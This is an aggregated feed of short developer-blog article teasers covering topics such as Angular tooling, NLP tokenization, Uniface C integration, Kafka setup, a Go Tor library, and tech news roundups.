    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Dominando o MCP Server no Angular v21 - Configuração e Melhores Práticas para Fluxos de Trabalho com IA
    O Angular v21 não é apenas sobre Signals e performance Zoneless; ele marca o início de uma nova era focada na Developer Experience impulsionada pela Inteligência Artificial. A peça central dessa revolução é o MCP Server, uma ferramenta que promete mudar a forma como interagimos com o framework e o CLI. Se o primeiro artigo foi o seu guia para as features imediatas (Signal Forms), este é o seu mapa para o futuro do desenvolvimento Angular, focado em arquitetura e produtividade de alto nível. Neste guia, você aprenderá: O que é o MCP Server e qual seu papel no ecossistema Angular. Como configurá-lo corretamente no seu projeto. As melhores práticas para usá-lo em cenários práticos de code generation e refatoração. 1. O Que É o MCP Server? (Managed Code Provider) O MCP Server…  ( 9 min )
    Tokenization in NLP: The Foundational Step That Turns Language Into Data
    When you first get into Natural Language Processing (NLP), one thing becomes obvious pretty quickly: computers are terrible at dealing with raw human language. Before a model can do anything smart—classify text, translate it, or generate answers—you have to break the messy text into pieces it can actually understand. That’s where tokenization comes in. It’s one of those steps that feels basic on the surface but quietly powers almost everything we do in NLP. Whether you're building a chatbot, training a model, or just experimenting with embeddings, tokenization shows up early and stays important. Below is a more practical, down-to-earth look at what tokenization really is and why every NLP pipeline depends on it. Think of tokenization as cutting text into bite-sized pieces. These pieces are…  ( 8 min )
    Data Locality vs. Independence: Which Should Your Database Prioritize?
    Understand how the principle of "store together what is accessed together" is a game-changer for database performance and scalability. When your application needs several pieces of data at once, the fastest approach is to read them from a single location in a single call. In a document database, developers can decide what is stored together, both logically and physically. Fragmentation has never been beneficial for performance. In databases, the proximity of data — on disk, in memory or across the network — is crucial for scalability. Keeping related data together allows a single operation to fetch everything needed, reducing disk I/O, memory cache misses and network round-trips, thereby making performance more predictable. The principle “store together what is accessed together” is centra…  ( 14 min )
    Real estate app built with Next.js 16, shadcn/ui, and Prisma. Browse, list, and manage properties
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    ISO 27001 in 6 Months
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    1262. Greatest Sum Divisible by Three
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    Perjalananku Belajar React dan TypeScript
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    Introduction Integrating modern C/C++ applications with established Uniface systems doesn't have to be a black box. The Uniface 3GL Call-In API acts as the bridge, mirroring the power of the ProcScript activate command but from within your C code. This guide breaks down how to instantiate components and effectively manage the environment lifecycle using the ucall library. The Call-In API allows you to: Instantiate Uniface components (Forms, Services, Reports). Execute operations with full parameter support (IN/OUT). Control the Uniface environment (Start/Stop). All necessary functions are bundled in the ucall shared library. This is the single dependency you need to link against. The documentation often shows a sequence involving both creation and opening. Here is what happens unde…  ( 7 min )
    How I Built a Tech Event Discovery Platform with Real-Time Scraping
    I'm a software developer, and I've been attending tech events for over three years now. I've used platforms like Luma and Eventbrite to find events, but there's always been one problem that frustrated me. The noise. Most event listing sites list cool tech events, but they also mix in so many non-tech events that it becomes overwhelming. When I'm looking for a React workshop or an AI conference, I don't want to scroll through cooking classes and yoga sessions. I remember searching for "JavaScript meetups" and getting results for wine tasting events and fitness bootcamps mixed in. The problem was clear. I wanted a clean, focused experience that only showed tech events. At first, I just thought about it, but I didn't know how to approach building it. Then recently, I had to automate a dataset…  ( 12 min )
    Opencode for Agentic Development with Local LLMs
    Agentic development is rapidly transforming the way developers design, build, and ship software. Tools like Opencode let developers pair powerful local LLMs with intelligent agents to automate coding tasks, refactor large codebases, and accelerate development—all while keeping data private and within your own machine. If you want to get started with Opencode using local LLMs (like Llama, Mistral, Qwen, DeepSeek, Gemma), here’s a simple, practical guide. before that, let's know Agentic workflows – AI agents that can modify your codebase intelligently. Local-first development – Integrate your own LLM running on GPU or CPU. Extensibility – Bring your own models, tools, and workflows. Security & Privacy – No proprietary code leaves your machine. Ollama GhostTTY Opencode Go to Ollama and follow…  ( 7 min )
    Intro to Pytest
    The pytest framework makes it easy to write small, readable tests, and can scale to support complex functional testing for applications and libraries. To install pytest, run: pip install pytest In this post, we’ll create a simple division function and then write tests that validate its behavior. Let’s create a file called methods.py with a simple method that divides two integer numbers and returns a floating number: # methods.py def division(a: int, b: int) -> float: return a / b Next, create a file named tests.py, which will contain all the tests. We’ll use @pytest.mark.parametrize to run the test function multiple times with different inputs. # tests.py import pytest from methods import division @pytest.mark.parametrize( "a,b,expected", [ (10, 20, 0.5), …  ( 7 min )
    Bridging the Gap: Integrating 3GL Languages with Uniface
    Introduction If you work with Uniface, you know it’s a powerful low-code platform for building enterprise applications. However, there are moments when standard 4GL isn't enough. You might need high-performance algorithms, specific system calls, or integration with existing libraries. This is where the 3GL (Third-Generation Language) interface comes into play. In this post, I’ll break down how Uniface handles 3GL integration, which languages work best, and the constraints you need to know. Strictly speaking, Uniface isn't tied to a single specific 3GL language. However, because the Uniface kernel itself is largely written in C, the interface is heavily biased toward C conventions. For a language to be compatible with Uniface, it must meet three critical conditions: Calling Convention: I…  ( 8 min )
    I've got the best idea for Thanksgiving. Im going to make a multi layer gelatin cake. Then I can tell everyone its my OSI model and how this gelatin cake relates to computer science. Dorky? Yes. Going to make my OSI gelatin cake anyways. 🌈
    A post by Anna Villarreal  ( 6 min )
    Why Softmax is Used Instead of Argmax in Neural Network Training
    Why Softmax is Used Instead of Argmax in Neural Network Training 1. Information Loss with Argmax Argmax only returns the index of the highest logit value and completely discards all confidence information: argmax([2.1, 1.0, 0.5]) = 0 argmax([5.0, 0.1, 0.1]) = 0 Both return class 0, but we lose critical information about how confident the model is in its prediction. Softmax converts logits into a probability distribution that preserves the relative confidence across all classes: softmax(zi)=ezi∑jezj\text{softmax}(z_i) = \frac{e^{z_i}}{\sum_{j} e^{z_j}}softmax(zi​)=∑j​ezj​ezi​​ This allows the loss function to measure certainty or uncertainty, which is essential for gradient-based learning. Let's compare two scenarios with 3 classes and true label = class 0. Logits: [2.1, 1…  ( 8 min )
    🛠️ Uniface 10.4 Tip: How to Debug C/C++ Components Without Crashing
    Introduction If you work with Uniface, you probably know that it plays well with others—specifically with 3GL languages like C or C++. We often use activate or perform to call out to legacy C libraries for complex calculations or system-level tasks. But here is the pain point: Debugging. Have you ever tried to attach a C++ debugger (like Visual Studio or GDB) to a running Uniface process? Often, the moment the debugger attaches, the application crashes or behaves unpredictably. This happens because both Uniface and the debugger try to manage the same system resources (like signals or threads). In Uniface 10.4 (specifically update 10.4.03.027), there is a feature designed to fix exactly this problem. Uniface introduced a setting called $ENABLE_USER_3GL_DEBUGGING. When this setting is enab…  ( 7 min )
    De-Silo Your Revenue Engine: A 5-Step Playbook for Aligning Sales & Marketing APIs
    Let's be honest, the traditional wall between sales and marketing teams feels like a legacy monolith with no API documentation. Marketing generates leads (pushes data to a queue), and sales complains about the quality (data validation error). The result? A leaky funnel, frustrated teams, and stalled growth. This isn't a "people problem"; it's a systems integration problem. As engineers, we solve these problems every day. We build resilient, interconnected systems. It's time to apply that same thinking to our company's revenue engine. This practice is often called "Smarketing" or, more technically, Revenue Operations (RevOps). It’s about treating sales and marketing as a single, cohesive system. Here's a 5-step playbook to de-silo your teams and engineer explosive growth. Before you write a…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins jumps down the Yellow Brick Road in “Everything Wrong With The Wiz In 15 Minutes Or Less,” delivering their signature rapid-fire takedown of the 1978 musical now that Wicked is back in theaters. Expect tongue-in-cheek commentary, playful nitpicks, and a handful of “sins” as they revisit Dorothy’s journey with Scarecrow, Tin Man, and Lion. As always, they sprinkle in links to their site, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a quick poll, Patreon shout-outs, and a roll call for the writers and social handles keeping the cinematic roast alive. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just rolled out “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” their signature rapid-fire roast of the film packed with cheeky commentary and trademark nitpicks. It’s a fun, tongue-in-cheek deep dive into all the cinematic sins you never knew you noticed—perfect for fans who love a good poke at pop culture. Wanna join the fun? Hit up their main site (cinemasins.com), explore other channels (@TVSins, @commercialsins, the CinemaSins Podcast Network), or grab more links via their Linktree. Don’t forget to take their “sinful poll,” back the team on Patreon, and follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social for more behind-the-scenes mischief. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The New Digital Empire
    The race to regulate artificial intelligence has begun, but the starting line isn't level. As governments scramble to establish ethical frameworks for AI systems that could reshape society, a troubling pattern emerges: the loudest voices in this global conversation belong to the same nations that have dominated technology for decades. From Brussels to Washington, the Global North is writing the rules for artificial intelligence, potentially creating a new form of digital colonialism that could lock developing nations into technological dependence for generations to come. The current landscape of AI governance reads like a familiar story of technological imperialism. European Union officials craft comprehensive AI acts in marble halls, while American tech executives testify before Congress …  ( 25 min )
    Understanding npm Package Versioning: A Guide to Major, Minor, and Patch Updates
    When working with npm packages, version numbers like 1.4.2 aren't just arbitrary numbers—they follow a standardized system called Semantic Versioning (SemVer) that communicates important information about the changes in each release. Understanding this system is crucial for maintaining stable applications while keeping your dependencies up-to-date. Every version number consists of three parts: MAJOR version (first number): Indicates breaking changes MINOR version (middle number): Indicates new backward-compatible features PATCH version (last number): Indicates backward-compatible bug fixes For example, in version 2.5.3: 2 is the major version 5 is the minor version 3 is the patch version What it means: “Proceed with caution” The package has introduced breaking changes APIs ma…  ( 7 min )
    Stop the EBS Madness: Automate Your AWS Storage Savings NOW
    Ever had that moment at 2 AM when your AWS bill is sky-high just because you forgot about some EBS volumes you created last quarter? Yeah, us too. It’s like cloud storage is secretly binge-eating your budget while you sleep. Well, brace yourself—AWS Compute Optimizer just dropped a feature that lets you automate EBS volume cleanups and upgrades so you can finally take back control (and cash)! You deploy, test, and migrate. Suddenly, your account is littered with unused volumes. Upgrades? Who has time for that? You're running old gp2 volumes because “it works, right?” Manual cleanup is a soul-sucking ritual. Don’t let yourself be THAT engineer. this new Compute Optimizer feature means: Set up daily, weekly, or monthly rules. Pick a time when nobody is awake—say, midnight to 1 AM. Automation…  ( 7 min )
    What is the Spring Bean Lifecycle?
    Introduction Imagine planting a seed in your garden. You don’t just throw it in the soil and expect magic. You prepare the ground, water it, nurture it, watch it grow, and eventually remove it when its purpose is fulfilled. Surprisingly, Spring works in a very similar way. Every object that Spring manages goes through its own controlled journey—from creation to destruction. This is called the Spring Bean lifecycle. If you're learning Spring Boot or advancing your Java programming skills, understanding this lifecycle is essential. It helps you create cleaner, safer, and more predictable systems. In this blog, we’ll break the lifecycle down into simple steps, explain why it matters, walk through examples, and share practical best practices. Core Concepts In Spring, every dependency-manag…  ( 7 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Learn Kafka by Doing: Build a 3-Broker Kafka Cluster with Docker Compose
    Overview This configuration deploys a 3-broker Kafka cluster with automatic failover, data replication, and a management UI. services: kafka1: image: apache/kafka:latest container_name: kafka1 ports: - "9093:9093" - "29092:29092" volumes: - ./kafka-data/kafka1:/var/lib/kafka/data networks: - kafka-bridge environment: KAFKA_BROKER_ID: 1 CLUSTER_ID: t7jxO1XIQwWtRhIzV5PE4w KAFKA_PROCESS_ROLES: broker,controller KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,INTERNAL:PLAINTEXT,EXTERNAL:PLAINTEXT KAFKA_ADVERTISED_LISTENERS: INTERNAL://kafka1:29092,EXTERNAL://localhost:9093 KAFKA_LISTENERS: CONTROLLER://:9092,EXTERNAL://0.0.0.0:9093,INTERNAL://:29092 KAFKA_INTER_BROKER_LISTENER_NAME: INTERNA…  ( 8 min )
    The subtle trap of useMemo for large collections - and a tiny alternative
    When working with lists in React, the go-to optimization for many developers is useMemo: const filtered = useMemo(() => tasks.filter(filter), [tasks, filter]); const sorted = useMemo(() => filtered.sort(cmp), [filtered, cmp]); This looks right, but it isn't: If you mutate the array in place, the reference doesn’t change and useMemo will return stale results. If you recreate the array every render (common in immutable flows), the memo dependency always changes and you pay the computation cost every time anyway. Hence, I built a tiny alternative — memotable (≈1.4 KB min+gz). It’s a read-friendly data structure that maintains derived views efficiently. This matters only for a narrow set of apps (typically apps that manage large in-memory datasets). Instead of the typical write-friendly pattern- const todos = new Map(); function getTodos(listId: string) { return Array.from(todos.values()) .filter((todo) => todo.listId === listId .sort(byTitle); } getTodos("list1"); // Full pass and sort on every invocation you can express the same as a read-friendly structure using memotable like- const todos = new Table(); todos.sort(byTitle); todos.index( (todo) => todo.listId, (p) => p.memo(), // Memoize list level partitions ); todos.partition("list1"); // Pre-computed list enabling fast read todos.values(); // Root partition is not-memoized and hence still sorts at read-time If your app works with thousands of items and reads are much more common than writes, memotable may be useful. As an example- based on my synthetic benchmark with R/W ratio of 4:1, memotable is ~4x faster. If you’ve hit similar problems with list-level memoization — in React or otherwise — I would love to hear about how you approached it. This is a tiny library by design, and I’m still refining where it adds the most value. Contributions, feedback or comments - all are welcome: https://github.com/shudv/memotable  ( 9 min )
    PixelPerfect Capture: High-Quality Screenshots & Full-Page Captures, Simplified
    Screen capturing is a fundamental daily task, but getting a clean, high-quality image of what’s on your screen can still be a hassle. That’s why I built PixelPerfect Capture, a straightforward and powerful Chrome extension now available on the Web Store. This tool is designed to provide precision and versatility, ensuring that whether you need to grab a quick snippet or an entire webpage, the result is always professional and clear. PixelPerfect Capture integrates seamlessly into your browser, offering three essential capture modes to handle any scenario without disrupting your workflow. Visible Area Capture: Quickly snap exactly what is currently displayed in your browser window. Selected Area Capture: Drag to define the precise area you wish to capture, ensuring you grab only the relevant content. Full Page Capture: Need to document an entire article or a long landing page? This mode scrolls and captures the full webpage from top to bottom, delivering the results as a single, high-fidelity image. For tasks like detailed documentation, complex bug reports, or saving design references, image quality is key. PixelPerfect Capture ensures the images you produce are crisp and high-quality, giving designers, developers, and power users the clarity they require. A great utility should be fast, lightweight, and trustworthy. PixelPerfect Capture emphasizes efficiency: it ensures quick performance and offers one-click downloads directly to your device. In an environment where privacy is crucial, I believe in transparency: No data collection. No tracking. Just clean, reliable screenshots. PixelPerfect Capture is a clean, focused utility designed only to do one job — capture your screen perfectly. If you rely on high-quality screen captures and need a fast, simple, and privacy-focused tool, you can find PixelPerfect Capture on the Chrome Web Store. 🔗 Add PixelPerfect Capture to Chrome Today Give it a try, and I welcome any feedback you have as you use it in your daily work!  ( 7 min )
    👀 Seeing is Believing: Visual Previews Arrive in Uniface 10.4 DSP Documentation
    Introduction We've all been there. You are building a web application, scanning the documentation for the right component, and you see a list of abstract names like htmlinput, ux-TextField, or genericHTML. You know what they do technically, but you have to implement them and run the page just to see exactly how they render by default. If you are working with Rocket Uniface, that workflow just got a significant Quality of Life update. In the latest documentation update for Uniface 10.4 (Patch 10.4.03.028), Rocket Software has introduced visual previews to the Dynamic Server Page (DSP) Widget Reference. Previously, the documentation listed the Physical Widget (the underlying HTML control) and the Logical Widget (the Uniface abstraction) with a text description. Now, a new column titled "Pr…  ( 7 min )
    How to find checksum of a Google Drive File
    A checksum (hash) lets you verify a file has not been altered or corrupted. Common use: confirm a downloaded ISO matches the publisher’s SHA-256 hash. Go to https://colab.research.google.com and create a new Python notebook. Run: from google.colab import drive drive.mount('/content/drive') Approve the auth prompt. Your Drive files appear under /content/drive/MyDrive/. In the left sidebar (folder icon): Navigate to the file. Right‑click the file and choose "Copy path" (or manually note its path). Example path: /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso 4. Compute the SHA‑256 Checksum Use sha256sum (installed by default in Colab): !sha256sum /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso Output format: Compare the printed hash with the official one from the source website. They must match exactly. If not, the file may be incomplete or tampered with. File not found: Confirm the path (case sensitive). Large files: Hashing can take time; wait for completion. Different algorithm needed: Replace with !md5sum or !sha1sum (only if required; SHA‑256 is stronger).  ( 6 min )
    Using Opencode as a Copy-Paste Backend for UI Prototyping
    Link to repo Sometimes I use OpenCode (and tools like Claude Code, Codex CLI, etc.) as a copy-paste backend: I prepare context in the browser, then paste it into an AI coding tool. At its core, most modern AI coding workflows boil down to two operations: Selecting the relevant context. Chatting about that selection. In my setup, a tiny browser script handles the selection: it collects and shapes the context, writes a structured payload to the clipboard, and then I paste it into OpenCode, Claude Code, Codex CLI, or any other AI coding tool just to see how it behaves - without building a real AI backend. When you hit Escape in the browser, the selection script grabs: your prompt (e.g. “Change color to red”) the current selection (code / text) some structure around it and writes a structured payload to the clipboard, like: prompt: Change color to red where:{context} ... {ADDITIONAL_PROMPT} You can try this in the browser here: https://istarkov.github.io/ai-cli-edit/ — press Cmd + E or Ctrl + E to enter editing mode and see the generated payload. Slow, higher-end reasoning models can usually consume this raw structure without extra help. Smaller or faster models often need the {ADDITIONAL_PROMPT} with more explicit instructions — for example: how to interpret … what to edit and what to keep identical formatting rules which tools to call You could dump all of this into CLAUDE.md or AGENTS.md, but those files are usually already full of generic rules and global guidelines. Better approach: keep editing-specific instructions in a separate, dedicated place. In OpenCode, this is done via Primary Agents. Create a focused file like ./.opencode/agent/edit.md that defines: your editing rules model parameters tools project-specific context (jargon, naming, edge cases, etc.) In the Claude ecosystem, the same idea appears as Skills: small, targeted capabilities that encapsulate exactly this kind of task-specific behavior. Link to repo  ( 7 min )
    React useRef Explained with Real-World Examples
    I just published a complete guide on how to use React’s useRef hook, including DOM access, timers, previous values, performance tips, and common mistakes to avoid. If you want to truly understand how useRef works and when to use it (or not), this guide will help. 👉 Read the full tutorial: https://www.djamware.com/post/692279c330ad2067aaacd5bf/react-useref-explained-with-realworld-examples  ( 6 min )
    "Is this just a wrapper?" (How a Reddit Comment Changed My Roadmap)
    I launched the MVP of SpeakSheet on Reddit this week. The concept is simple: You type a prompt, and my app generates a structured Excel file using Gemini. The post got 2,400 views. Most feedback was standard. But one comment stopped me cold. Is it not just a system prompt for Gemini? It is not a product... users still have to prompt. You could chat with Gemini on Google Sheets all day long and it is free. My initial reaction was defensive. But after the sting faded, I realized he was right. The "Wrapper" Fallacy But to a user who doesn't know what an API key is, raw technology is useless. They don't know how to write a system prompt to enforce column structures. SpeakSheet wraps the chaos of an LLM into a predictable, one-click interface. That is the product. The Pivot: Listening to the Haters "You could chat with Gemini on Google Sheets all day long." I realized I had missed a massive use case. Because of that "hater," I am shifting my roadmap. I am now researching Google Sheets Integration via OAuth 2.0. Building the Integration (The Plan) Authenticate the user via OAuth 2.0. Conclusion Your customers are the people who gladly pay to skip the learning curve. And sometimes, your harshest critics give you your best feature ideas.  ( 7 min )
    APIs Explained Simply: The Chapter I Wish I Had When Learning Full-Stack
    A foundational, friendly walkthrough of how APIs really work, without confusion or jargon. Before we begin, one small promise: Any technical term I use will be explained immediately. APIs often feel harder than they are because explanations jump too fast. nothing feels mysterious. If you read this slowly and let each concept settle, you will have the clearest mental model for APIs that most juniors never build. 1. What an API Actually Is (The Clearest Definition You’ll Hear) Most definitions overcomplicate it. An API is a structured conversation between two pieces of software. Everything else is just details. Here’s the full journey behind every API call: [Frontend] → (Request) → [Server/API] → (Logic) → [Database] ↓ …  ( 10 min )
    Uniface 10.4 Update: The New ListBox and a Major Interface Shift 🚀
    If you are maintaining Uniface applications, specifically in the web/mobile space using UX Widgets, Patch 10.4.03.015 is one of those updates you cannot afford to ignore. It brings a handy new UI control, better code organization, but also a significant breaking change regarding how widgets communicate. Here is the breakdown of what landed in this patch and how it impacts your development workflow. uxlistbox Widget 📋 For a long time, we had to rely on workarounds or generic implementations for certain selection lists. This patch introduces the uxlistbox as a native field-level widget. It's a dedicated control for displaying a list of items where the user can select exactly one option (Single Select). It simplifies the UI definition for standard "pick one" scenarios without the overhead …  ( 7 min )
    Why We Chose Go to Rewrite Our DB-to-Elasticsearch Sync Tool
    Why We Chose Go to Rewrite Our DB-to-Elasticsearch Sync Tool The Challenge: Building a Better CDC Tool In the modern data landscape, real-time synchronization from databases to search engines has become a critical requirement. Whether you're building e-commerce search, analytics dashboards, or log aggregation systems, you need reliable, fast, and maintainable CDC (Change Data Capture) solutions. When we started ElasticRelay, we looked at existing solutions like Logstash, Debezium + Kafka Connect, and Apache Flink. While powerful, they often came with significant overhead: Complex deployment: Multi-service architectures requiring Kafka clusters, Zookeeper coordination, and JVM tuning Resource intensive: High memory footprint and CPU usage, especially for smaller workloads …  ( 11 min )
    Building the Future of Entertainment Tech: Wimberly Media’s Innovation Culture
    Dennis Wimberly is leading Wimberly Media into the future by creating a culture where innovation isn’t just encouraged—it’s built into the core of every project. The company’s growth reflects a strategic use of technology, talent, and creativity, all aligned to produce media experiences that feel futuristic yet grounded. His leadership and vision are deeply rooted in storytelling, but he’s also a strategist who sees how technology can fuel creativity rather than stifle it. The Substack article “The Media Evolution According to Dennis Wimberly” expands on how Wimberly Media plans to scale, experiment, and redefine entertainment for a new generation. 👉 Read more here: https://denniswimberly.substack.com/p/the-media-evolution-according-to  ( 6 min )
    When Noise Becomes Structure - The Hidden Mechanism Behind Resonance
    The hidden order sleeps inside the chaos Something moves inside the noise before it becomes thought. Noise enters systems long before we notice it. It slips in through expectations, deadlines, abstractions, and the quiet pressure to move faster than understanding allows. This is the kind of noise that does not announce itself. It distorts direction in small, almost invisible steps. In engineering work, noise shows up as scattering. Noise creates the illusion of progress. Noise wastes energy in ways that are hard to measure. Noise pushes us into inefficiency not through chaos, but through subtle misalignment. And this is the danger: noise does not break systems by force. In this sense, noise is not the villain. This is the first half of the truth. Yet the same force that scatters us also cr…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the fun chaos of the new KPop Demon Hunters movie, calling out every “sin” in their signature snarky style. They drop links to their main site (cinemasins.com), YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), and social feeds so you can keep up with all their latest content and behind-the-scenes antics. Want to weigh in? They’re running a quick poll and courting Patreon support to keep the team fueled. Plus, they list the whole writer squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and invite you to join their Discord, Reddit, TikTok, Instagram—and even pick up Jeremy’s book if you’re feeling extra sinful. Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 23, 2025
    Sector HQ Weekly Digest - November 23, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Building a Production-Multi-Cloud DevOps Platform: A Complete Journey from Zero to Hero
    Building a Production-Multi-Cloud DevOps Platform: A Complete Journey from Zero to Hero https://medium.com/design-bootcamp/building-a-production-multi-cloud-devops-platform-a-complete-journey-from-zero-to-hero-ef292ff0f0c6 How I Built and Deployed a FastAPI Application Across AWS EKS and Azure AKS with Full CI/CD, Security Scanning, and Observability A comprehensive guide to building enterprise-grade cloud infrastructure with security-first principles Infrastructure as Code (Terraform) for AWS and Azure Container Security with Trivy and Checkov github.com/abidaslam892/multi-cloud-devsecops Press enter or click to view image in full size Table of Contents The Challenge Architecture Overview Tech Stack Implementation Journey Infrastructure as Code CI/CD Pipeline Security Implem…  ( 13 min )
    Maintenance release 2.09 for the Perl Distribution Workflow
    This release follows up on release 2.08 and hopefully stabilizes the test suite even further. At the same time we are taking a first step towards the next major release by deprecating the use of XML configuration files. The preferred format for configuration files is now YAML. The XML support will be removed in a future major release, for now this is just a deprecation notice and several warnings from the test suite. When we did the last major release to version 2, see the blog post: "Major Release 2 of the Perl Distribution Workflow" We caused some grievances for one of our users, afterwards we discussed that perhaps the distribution should have been renamed to Workflow2 to better reflect the breaking changes and to make a more clear distinction and separation. However, at the time we did…  ( 7 min )
    Uniface State Management: Mastering the Stateless Beast 🦄💾
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    🚀 Boost Chrome’s Speed by Giving It More Memory (Because It’s Always Hungry)
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    How to Use Chatbot in Education
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    AI vs God: The Ultimate Guide to Discerning Divine Wisdom in the Age of Artificial Intelligence
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    Very simple and useful cli
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    Introducing Qeltrix: A Content-Derived, Parallel Streaming Obfuscation Container
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    🌍 Uniface Localization Series (Part 3): Testing & Best Practices 🏁
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    The "Zombie Request" Problem: Why Your Backend Keeps Working After the User Quits
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    I Built a System That Found $663K in Lost Revenue - Here's the Complete Technical Breakdown
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    Escaping the Marketing Treadmill: How to Build an Autonomous System That Actually Works
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    The Great Marketing Divide: AI Autonomy vs. Human Intuition—Which Path Leads to Sustainable Growth?
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    The Ultimate Marketing Strategy: How to Build a Business That Thrives, Not Just Survives
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    Day 43: Python Valid Parentheses Checker, Stack-Based Bracket Validation with Mapping and Loop Scanning
    Welcome to Day 43 of the #80DaysOfChallenges journey! This intermediate challenge focuses on validating if a string has properly matched parentheses using a stack, supporting types like (), {}, [], while ignoring non-bracket characters and running in linear O(n) time. It utilizes dictionary mapping for closing to opening brackets, loop iteration for scanning, and stack operations for tracking opens, a core technique in parsing and algorithm problems. If you're moving from basic strings to data structure applications or preparing for interview classics like balanced brackets, this "Python valid parentheses checker" script illustrates a function that's concise, efficient for long strings, and adaptable to more bracket types or error reporting. This task centers on a single function that uses…  ( 12 min )
    Building Tornago: A Go Library for Tor Integration Born from Fraud Prevention Needs
    Introduction Have you ever needed to integrate Tor into your Go application for privacy-focused features or security research? I recently built Tornago, a lightweight Go wrapper for the Tor command-line tool, and I'd like to share the story behind it and how it works. This project came from a real-world need: monitoring dark web marketplaces for stolen credit card data as part of fraud prevention work. While Python's torproject/stem is commonly used for Tor integration, I wanted a Go alternative that would provide the production stability and simplicity I was looking for. I work in fraud prevention, and there are times when accessing the dark web becomes necessary for legitimate security work. This isn't science fiction—it's a daily reality in cybersecurity. When exploring tools for this…  ( 12 min )
    🚀 I Just Launched My First Android App — *VyomaNote*!
